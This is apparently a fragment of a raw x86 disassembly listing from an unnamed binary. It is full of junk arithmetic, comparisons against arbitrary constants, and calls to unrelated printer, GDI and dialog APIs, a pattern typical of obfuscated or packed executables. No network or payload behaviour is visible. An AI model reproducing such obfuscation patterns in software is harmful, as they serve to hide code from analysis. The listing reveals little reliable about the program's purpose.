mov edx, dword [ebp - 0x2e7c]
mov byte [edx], al
jmp 0x41aa47
mov eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2f54], eax
cmp dword [ebp - 0x2f54], 0x41419f86
je 0x41ad43
cmp dword [ebp - 0x2f54], 0xab70b845
je 0x41ac0d
jmp 0x41ad59
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e38]
mov eax, dword [ebp - 0x2e64]
and eax, dword [ebp - 0x2e2c]
cmp edx, eax
jle 0x41acfe
mov ecx, dword [0x5193bc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
mov dword [ebp - 0x2f58], ecx
cmp dword [ebp - 0x2f58], 0x946e7d92
je 0x41ac62
jmp 0x41ace3
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
lea eax, [ebp - 0x2ef8]
push eax
lea ecx, [ebp - 0x2ed8]
push ecx
lea edx, [ebp - 0x2f28]
push edx
mov eax, dword [ebp - 0x2f5c]
push eax
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [ebp - 0x2f1c], eax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2f2c]
or edx, dword [ecx]
mov dword [ebp - 0x2e38], edx
mov eax, dword [ebp - 0x2ed0]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xce]
shl edx, cl
mov eax, dword [ebp - 0x2ea0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2f5c]
push ecx
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [ebp - 0x2e50], eax
jmp 0x41acfc
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb40]
sar eax, cl
mov word [ebp - 0xb4c], ax
jmp 0x41ad41
movsx ecx, byte [ebp - 0xce]
movsx edx, byte [ebp - 0xcd]
add ecx, edx
movsx eax, byte [0x518005]
mov edx, dword [ebp - 0x2ea0]
movsx edx, byte [edx]
sub eax, edx
cmp ecx, eax
jg 0x41ad41
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x2ebc]
mov word [edx], cx
jmp 0x41ad59
movzx eax, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd1]
sub eax, ecx
mov byte [ebp - 0xd0], al
mov edx, dword [ebp - 0x2f2c]
mov dword [ebp - 0x2f60], edx
cmp dword [ebp - 0x2f60], 0
je 0x41ad73
jmp 0x41ae9f
mov eax, dword [ebp - 0x2ed8]
mov ecx, dword [ebp - 0x2dfc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2eb8]
mov dword [edx], ecx
movsx eax, word [ebp - 0x7f4]
mov dword [ebp - 0x2f64], eax
cmp dword [ebp - 0x2f64], 0xffffa888
je 0x41adb7
cmp dword [ebp - 0x2f64], 0xb43
je 0x41ae85
jmp 0x41ae9a
mov ecx, dword [ebp - 0x2ed0]
mov dl, byte [ecx]
mov byte [ebp - 0x2f68], dl
cmp byte [ebp - 0x2f68], 0x52
je 0x41add3
jmp 0x41ae83
movsx eax, word [ebp - 0x7f4]
mov dword [ebp - 0x2f6c], eax
cmp dword [ebp - 0x2f6c], 0x1746
je 0x41adee
jmp 0x41ae6d
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e2c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2f2c]
sub eax, dword [0x518008]
cmp edx, eax
jle 0x41ae44
movzx ecx, byte [0x518004]
push ecx
movzx edx, byte [ebp - 0xce]
push edx
mov eax, dword [ebp - 0x2ed0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2ea0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2ed0]
movzx edx, byte [ecx]
push edx
call fcn.004eefc0
add esp, 0x14
jmp 0x41ae6b
lea eax, [ebp - 0x2e7c]
push eax
lea ecx, [ebp - 0x2e7c]
push ecx
lea edx, [ebp - 0x2f28]
push edx
mov eax, dword [ebp - 0x2f70]
push eax
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [ebp - 0x2e78], eax
jmp 0x41ae83
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
jmp 0x41ae9a
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e5c]
mov eax, dword [0x5193bc]
mov dword [eax], edx
jmp 0x41af9a
mov cl, byte [ebp - 0xd0]
mov byte [ebp - 0x2f74], cl
cmp byte [ebp - 0x2f74], 0xac
je 0x41af6a
cmp byte [ebp - 0x2f74], 0xec
je 0x41aec6
jmp 0x41af9a
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ebp - 0x2eb8]
mov edx, dword [edx]
or edx, dword [eax]
mov eax, dword [ebp - 0x2eb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2e60]
shl eax, cl
cmp edx, eax
jbe 0x41af68
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [0x518008]
xor edx, dword [ecx]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2e38]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
lea ecx, [ebp - 0x2e2c]
push ecx
push 0x1a
push 0xef
mov edx, dword [ebp - 0x2f48]
push edx
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov dword [ebp - 0x2f50], eax
movzx eax, byte [ebp - 0xce]
push eax
movzx ecx, byte [ebp - 0xcd]
push ecx
movzx edx, byte [ebp - 0xce]
push edx
mov eax, dword [ebp - 0x2ea0]
movzx ecx, byte [eax]
push ecx
movzx edx, byte [ebp - 0xce]
push edx
call fcn.004eefc0
add esp, 0x14
jmp 0x41af9a
movzx eax, word [ebp - 0xb48]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xb44], ax
push 0xa3
mov eax, dword [ebp - 0x2f70]
push eax
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [ebp - 0x2e90], eax
mov ecx, dword [ebp - 0x2e7c]
mov dl, byte [ecx]
mov byte [ebp - 0xd2], dl
movzx eax, word [ebp - 0xb48]
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
and eax, edx
movzx ecx, word [ebp - 0xb44]
mov edx, dword [ebp - 0x2e6c]
movzx edx, word [edx]
sub ecx, edx
cmp eax, ecx
je 0x41afe6
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e5c]
mov edx, dword [ebp - 0x2e70]
mov dword [edx], ecx
mov al, byte [ebp - 0xd0]
mov byte [ebp - 0x2f78], al
cmp byte [ebp - 0x2f78], 0x16
je 0x41b000
jmp 0x41b08d
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [0x518008]
sub edx, dword [ecx]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb44]
add ecx, edx
mov eax, dword [ebp - 0x2eac]
movzx edx, word [eax]
mov eax, dword [ebp - 0x2e6c]
movzx eax, word [eax]
add edx, eax
cmp ecx, edx
jle 0x41b076
lea ecx, [ebp - 0xe384]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [ebp - 0x2f7c], eax
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ecx]
push edx
movzx eax, byte [ebp - 0xd0]
push eax
call fcn.004eea20
add esp, 0xc
jmp 0x41b088
mov ecx, dword [ebp - 0x2e38]
and ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2f2c], ecx
jmp 0x41b26a
movsx edx, word [ebp - 0xb40]
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
imul edx, ecx
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
movsx eax, word [ebp - 0xb4c]
xor ecx, eax
cmp edx, ecx
jne 0x41b147
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x2e70]
mov dword [eax], edx
push 1
mov ecx, dword [ebp - 0xe2f0]
push ecx
mov edx, dword [ebp - 0xe2f4]
push edx
mov eax, dword [ebp - 0x2f80]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x2e2c], eax
movzx ecx, word [ebp - 0xb50]
movzx edx, word [ebp - 0xb44]
sub ecx, edx
mov word [ebp - 0xb48], cx
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2dfc]
add ecx, dword [eax]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xcd]
push eax
movzx ecx, byte [ebp - 0xcd]
push ecx
mov edx, dword [ebp - 0x2ea0]
movzx eax, byte [edx]
push eax
call fcn.004ed7b0
nop
jmp 0x41b256
movsx edx, byte [ebp - 0xcd]
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x2ea0]
movsx eax, byte [ecx]
movsx ecx, byte [0x518004]
or eax, ecx
cmp edx, eax
jge 0x41b256
lea edx, [ebp - 0xcd]
mov dword [ebp - 0x2f84], edx
mov eax, dword [ebp - 0x2ea0]
mov cl, byte [eax]
mov byte [ebp - 0x2f88], cl
cmp byte [ebp - 0x2f88], 0
je 0x41b1a8
cmp byte [ebp - 0x2f88], 0x1f
je 0x41b23c
jmp 0x41b256
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xcf]
and eax, ecx
mov edx, dword [ebp - 0x2e7c]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0xd2]
add ecx, edx
cmp eax, ecx
jl 0x41b219
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb4c], cx
lea ecx, [ebp - 0x2e5c]
mov dword [ebp - 0x2f8c], ecx
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov dword [ebp - 0x2f90], 0x1463
jmp 0x41b23a
lea edx, [ebp - 0x2ee0]
push edx
push 0x9d
push 0x54
mov eax, dword [ebp - 0x2e98]
push eax
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x2f2c], eax
jmp 0x41b256
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xd0], dl
mov dword [ebp - 0x2f94], 0xf348
mov dword [ebp - 0x2f98], 0xda3
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb48]
sub eax, ecx
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x2e80]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e5c]
xor edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e9c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2f2c]
shl edx, cl
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd0]
or ecx, edx
mov byte [ebp - 0xd2], cl
mov eax, dword [ebp - 0x2f94]
add eax, 0x8c
mov dword [ebp - 0x2f94], eax
movzx ecx, word [ebp - 0xb44]
movzx edx, word [ebp - 0xb48]
and ecx, edx
mov word [ebp - 0xb50], cx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [ebp - 0x2dfc]
sub ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2f2c]
sub eax, dword [edx]
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2dfc]
mov eax, dword [0x5193bc]
mov dword [eax], edx
movsx ecx, byte [ebp - 0xce]
movsx edx, byte [ebp - 0xcd]
sub ecx, edx
mov eax, dword [ebp - 0x2ed0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd1]
add edx, eax
mov byte [ebp - 0xd0], dl
movzx edx, word [ebp - 0xb44]
movzx ecx, word [ebp - 0xb50]
shl edx, cl
mov word [ebp - 0xb48], dx
mov eax, dword [ebp - 0x2f8c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2dfc]
shr edx, cl
mov dword [ebp - 0x2e5c], edx
mov eax, dword [0x5193bc]
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x2f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb50]
or edx, eax
mov word [ebp - 0xb44], dx
cmp dword [ebp - 0x2f94], 0xf9d8
jne 0x41b283
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
movzx eax, byte [ebp - 0xd1]
add ecx, eax
cmp edx, ecx
je 0x41b513
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2ea0]
movsx ecx, byte [eax]
add edx, ecx
movsx eax, byte [ebp - 0xce]
mov ecx, dword [ebp - 0x2f84]
movsx ecx, byte [ecx]
add eax, ecx
cmp edx, eax
jge 0x41b513
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [edx]
mov dword [ebp - 0x2f9c], eax
cmp dword [ebp - 0x2f9c], 0x2740e6b2
je 0x41b4ef
cmp dword [ebp - 0x2f9c], 0xa2c18817
je 0x41b4d7
jmp 0x41b513
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2e38], eax
jmp 0x41b513
mov ecx, dword [ebp - 0x2f84]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x2ea0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2ea0]
movzx eax, byte [edx]
push eax
call fcn.004ed7b0
nop
mov ecx, dword [ebp - 0x2ebc]
mov dx, word [ecx]
mov word [0x5193c0], dx
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0x2fa0], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2e64], edx
lea eax, [ebp - 0x2e64]
mov dword [ebp - 0x2fa4], eax
movsx ecx, word [ebp - 0xb4c]
mov dword [ebp - 0x2fa8], ecx
cmp dword [ebp - 0x2fa8], 0xffffc4e0
je 0x41b57d
cmp dword [ebp - 0x2fa8], 0x6a4d
je 0x41b60f
jmp 0x41b702
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb40]
sub eax, ecx
mov edx, dword [ebp - 0x2e3c]
movsx ecx, word [edx]
movsx edx, word [ebp - 0xb4c]
sub ecx, edx
cmp eax, ecx
jge 0x41b60a
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2eac]
mov word [edx], cx
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd2]
xor ecx, edx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], cl
mov dword [ebp - 0x2fac], 0x5193b8
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e38]
shl edx, cl
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
lea ecx, [ebp - 0xb4c]
mov dword [ebp - 0x2fb0], ecx
jmp 0x41b702
push 0xca
lea edx, [ebp - 0x2ebc]
push edx
push 0x6d
mov eax, dword [ebp - 0x2fb4]
push eax
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [ebp - 0x2f34], eax
mov edx, dword [ebp - 0x2e2c]
or edx, dword [0x518008]
mov eax, dword [ebp - 0x2fa4]
mov esi, dword [ebp - 0x2f2c]
mov ecx, dword [eax]
sar esi, cl
cmp edx, esi
jne 0x41b66a
movsx ecx, byte [ebp - 0xcd]
movsx edx, byte [ebp - 0xce]
add ecx, edx
mov byte [0x518004], cl
jmp 0x41b702
mov eax, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2fb8], eax
cmp dword [ebp - 0x2fb8], 0x9cea971f
je 0x41b6db
cmp dword [ebp - 0x2fb8], 0xf6d2f3d4
je 0x41b690
jmp 0x41b702
movzx ecx, word [ebp - 0xb50]
movzx edx, word [ebp - 0xb48]
sub ecx, edx
mov eax, dword [ebp - 0x2eac]
mov word [eax], cx
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd2]
sub edx, eax
mov byte [ebp - 0xcf], dl
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ebp - 0x2fac]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2f8c]
mov dword [ecx], eax
jmp 0x41b702
push 0x8b
lea edx, [ebp - 0xe7d8]
push edx
push 0x77
mov eax, dword [ebp - 0x2ee4]
push eax
mov ecx, dword [ebp - 0x2f5c]
push ecx
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [ebp - 0x2e60], eax
mov edx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2fbc], edx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2e38]
add ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
lea edx, [ebp - 0x2dfc]
mov dword [ebp - 0x2fc0], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2e2c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2ef8]
mov byte [edx], cl
movsx eax, word [ebp - 0xb40]
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x7f4]
add edx, ecx
cmp eax, edx
jl 0x4ed0bf
lea edx, [ebp - 0x2fbc]
mov dword [ebp - 0x2fc4], edx
movzx eax, word [ebp - 0xb50]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xb48]
add edx, ecx
cmp eax, edx
jne 0x41b8a0
movzx edx, word [ebp - 0xb48]
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
and edx, ecx
movzx eax, word [0x5193c0]
movzx ecx, word [ebp - 0xb44]
sub eax, ecx
cmp edx, eax
jg 0x41b89e
mov edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2fc8], edx
cmp dword [ebp - 0x2fc8], 0
je 0x41b805
jmp 0x41b877
mov eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2e38]
sar eax, cl
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov dx, word [0x5193c0]
mov word [ebp - 0xb54], dx
mov eax, dword [ebp - 0x2ef8]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xd0], dl
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xb40], dx
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2f84]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x15], al
jmp 0x41b89e
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [ebp - 0x2e60]
mov dword [0x5193b8], eax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
and edx, dword [0x518008]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
jmp 0x41b8d3
push 0x11
push 0xac
mov ecx, dword [ebp - 0x2e4c]
push ecx
call dword [sym.imp.GDI32.dll_SetTextJustification]
mov dword [ebp - 0x2e78], eax
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb54]
sub eax, ecx
mov word [ebp - 0xb44], ax
mov dword [ebp - 0x2fcc], 0xec3c
mov dl, byte [ebp - 0xd0]
mov byte [ebp - 0x2fd0], dl
cmp byte [ebp - 0x2fd0], 0
je 0x41b900
cmp byte [ebp - 0x2fd0], 0x25
je 0x41b95c
jmp 0x41b9d1
mov al, byte [ebp - 0xd0]
mov byte [ebp - 0xd3], al
mov ecx, dword [0x5193bc]
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
lea ecx, [ebp - 0x2f2c]
mov dword [ebp - 0x2fd4], ecx
mov edx, dword [ebp - 0x2e38]
add edx, dword [ebp - 0x2e2c]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2f8c]
mov dword [ecx], eax
jmp 0x41b9d1
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
mov dword [ebp - 0x2fd8], eax
cmp dword [ebp - 0x2fd8], 0x1c474d61
je 0x41b984
cmp dword [ebp - 0x2fd8], 0x73f25cf7
je 0x41b99e
jmp 0x41b9d1
movzx ecx, byte [ebp - 0xcf]
movzx edx, byte [ebp - 0xd0]
sub ecx, edx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], cl
jmp 0x41b9d1
movzx ecx, byte [ebp - 0xcd]
push ecx
movzx edx, byte [ebp - 0x15]
push edx
mov eax, dword [ebp - 0x2ea0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2ed0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2ed0]
movzx edx, byte [ecx]
push edx
call fcn.004eefc0
add esp, 0x14
lea eax, [ebp - 0xb44]
mov dword [0x5193c4], eax
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ebp - 0x2fa0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2dfc]
add ecx, dword [0x5193b8]
cmp eax, ecx
je 0x41ba84
push 0xef
mov edx, dword [ebp - 0x2fb4]
push edx
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [ebp - 0x2fdc], eax
movzx eax, word [ebp - 0xb54]
movzx ecx, word [ebp - 0xb44]
and eax, ecx
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb48]
xor eax, ecx
movzx edx, word [ebp - 0xb54]
mov ecx, dword [ebp - 0x2ebc]
movzx ecx, word [ecx]
shl edx, cl
cmp eax, edx
je 0x41ba6e
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2f04]
mov dword [ecx], eax
jmp 0x41ba84
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2e38], ecx
cmp dword [ebp - 0x2fcc], 0xfb8c
je 0x41bdc2
mov edx, dword [ebp - 0x2fc0]
mov eax, dword [ebp - 0x2fa0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2ed8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2fcc]
add edx, 0x8c
mov dword [ebp - 0x2fcc], edx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [0x518008]
add ecx, dword [eax]
mov dword [ebp - 0x2e64], ecx
movsx edx, word [ebp - 0xb4c]
movsx eax, word [ebp - 0xb40]
add edx, eax
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], dx
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2f84]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xce], al
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb54]
sub ecx, edx
mov eax, dword [0x5193c4]
mov word [eax], cx
movzx ecx, byte [ebp - 0xcf]
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x2ef8]
mov byte [edx], cl
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [ebp - 0x2dfc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2e70]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e38]
add eax, dword [ebp - 0x2fbc]
mov dword [ebp - 0x2e2c], eax
movzx ecx, word [ebp - 0xb50]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xb54], cx
movzx edx, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd0]
shl edx, cl
mov eax, dword [ebp - 0x2ec0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2dfc]
or ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], ecx
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2f04]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2fc0]
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [edx]
mov dword [0x5193b8], eax
movzx ecx, word [ebp - 0xb48]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x2ebc]
mov word [edx], cx
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xcf]
and ecx, edx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2e38], eax
mov ecx, dword [ebp - 0x2e64]
sub ecx, dword [0x518008]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xce]
sub ecx, edx
mov byte [ebp - 0xcd], cl
movsx eax, word [ebp - 0x7f4]
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xb40], ax
movzx eax, byte [ebp - 0xd3]
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], al
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb44]
shl eax, cl
mov word [ebp - 0xb48], ax
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2e60]
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2ed8]
